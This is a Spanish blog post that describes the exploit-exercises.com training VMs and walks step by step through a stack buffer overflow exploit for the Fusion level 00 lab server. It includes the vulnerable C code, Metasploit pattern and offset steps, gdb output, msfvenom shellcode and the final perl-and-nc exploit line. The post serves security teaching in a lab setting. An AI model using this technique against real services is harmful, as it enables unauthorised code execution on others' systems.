exploit-exercises.com: entrenamiento en explotación de sistemas

exploit-exercises.com provee máquinas virtuales, documentación y retos que pueden ser usados para aprender un interesante variedad de aspectos de seguridad como escalado de privilegios, análisis de vulnerabilidades, desarrollo de exploits, depuración o ingeniería inversa.

Actualmente el proyecto se compone de tres módulos, cada uno es la progresión del anterior e incluye distintos niveles:

- Nebula: contiene una selección de 20 retos de nivel básico-medio que cubren escalado de privilegios en Linux, lenguajes de scripting y race conditions en sistemas de ficheros. Nebula es el sitio ideal para iniciarse en la explotación de sistemas Linux.

- Protostar: nos introduce en aspectos básicos de corrupción de memoria como desbordamientos de buffer, format strings y explotación de cabezeras en sistemas Linux antiguos que no utilizan las modernas técnicas de mitigación de exploits. Incluye hasta 24 niveles clasificados en distintas categorías: Network programming (Byte order, Handling sockets), Stack overflows, Format strings y Heap overflows.

- Fusion: fue lanzado el pasado 8 de abril y ya tiene 29 niveles. Continua con las vulnerabilidades anteriores pero en escenarios más avanzados y con sistemas de protección modernos. Es recomendable empezar por este módulo sólo si ya se está familiarizado en la explotación de Linux y se desea aprender sobre sistemas de prevención de exploits.

Writeup - level 00 Fusion

A continuación y a modo de introducción, veremos la resolución de Matt Andreko al reto 00 de Fusion. Se trata de una vulnerabilidad de desbordamiento de pila sin ningún tipo de protección anti-exploit y nos facilitan el siguiente código de un servidor web vulnerable:

 #include "../common/common.c"

int fix_path(char *path)
{
char resolved[128];

if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
strcpy(path, resolved);
}

char *parse_http_request()
{
char buffer[1024];
char *path;
char *q;

printf("[debug] buffer is at 0x%08x :-)\n", buffer);

if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

path = &buffer[4];
q = strchr(path, ' ');
if(! q) errx(0, "No protocol version specified");
*q++ = 0;
if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

fix_path(path);

printf("trying to access %s\n", path);

return path;
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *p;

background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);

parse_http_request();
}

Observando el código vemos que cuando se recibe una petición HTTP se procesa por el método "parse_http_request" que básicamente lee el buffer y verifica que la petición es un "GET" y que se está usando HTTP/1.1. Después, pasa la dirección a "fix_path" donde se encuentra el desbordamiento debido a que la variable "resolved" dispone de 128 bytes para almacenar datos pero no hay ninguna comprobación del tamaño cuando se hace el "strcpy".

Lo primero que haremos es loggearnos en la máquina y asegurarnos que podremos obtener un core dump si el proceso devuelve una excepción. Para hacerlo, es necesario cambiar la configuración de nuestro usuario:
 fusion@fusion:/$ ulimit -c unlimited

Basándonos en el análisis inicial del código del servidor todo indica que el desbordamiento debemos incluirlo en la URI pero, tal y como nos avisan en el hint del reto, no es buena idea por las restricciones de caracteres de realpath(). En lugar de eso, debemos incluir el shellcode después de "HTTP/1.1".
Sin embargo, al no conocer el offset EIP es necesario generar un patrón en otra máquina:
 /opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag


Y luego enganchamos el exploit de este modo:
 fusion@fusion:/$ perl -e 'print "GET /". "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000

Tener en cuenta que el valor "\x99\xf9\xff\xbf" se adivinaba con sólo tomar el desplazamiento de búfer (convenientemente obtenido en tiempo de ejecución) de "0xbffff8f8", y añadiéndole los suficientes bytes para el "GET", el buffer de MSF y el "HTTP/1.1".

Después de ejecutar el comando, obtenemos un fichero core en el directorio raíz, que simplemente cargaremos con GDB para obtener el offset:
 fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2280]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x65413665 in ?? ()

A continuación, tomamos nota del valor del EIP y lo lanzamos mediante la calculadora de offset de metasploit:
 /opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x65413665
139

Con esto veremos que los primeros 139 bytes son basura, pero que tenemos acceso directo al EIP. Si estimamos una dirección lo suficientemente cercana para conseguir un nop sled, obtendríamos un debug/trace point "\xcc". Para ello probamos:
 fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000

Posteriormente, cargamos el nuevo fichero core en el GDB, y vemos que efectivamente obtenmemos el debug:
 fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2310]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 5, Trace/breakpoint trap.
#0 0xbffff9fb in ?? ()
(gdb) x/10x $eip
0xbffff9fb: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa03: 0xcc 0xcc

El siguiente paso es generar un código shell. Para ello utilizamos la herramienta MSFVenom de Metasploit para generar un shellcode. Como realmente el objetivo de este reto es conseguir el exploit, bastará con un shellcode sencillo que cree un fichero en /tmp "touch /tmp/poo".
 ~$ msfvenom -p linux/x86/exec -f pl CMD="touch /tmp/poo"
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00" .
"\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f" .
"\x6f\x00\x57\x53\x89\xe1\xcd\x80";


Luego insertamos el shellcode en el exploit:
 fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)

Y finalmente, comprobamos que se ha ejecutado el shellcode:
 fusion@fusion:/$ ls -al /tmp
total 8
drwxrwxrwt 2 root root 4096 2012-04-09 21:25 .
drwxr-xr-x 22 root root 4096 2012-04-09 21:22 ..
-rw-r--r-- 1 20000 20000 0 2012-04-09 21:25 poo

Ahí lo tenemos, la explotación se ha realizado de forma exitosa, utilizando métodos muy básicos. Este primer reto de Fusion es muy parecido al primer día de regreso de las vacaciones de verano, pero supongo que los siguientes serán mucho más duros...

Comentarios

  1. esto es para wi9ndows linu8x o unix macintoch para quien va este bombasito

    ResponderEliminar

Publicar un comentario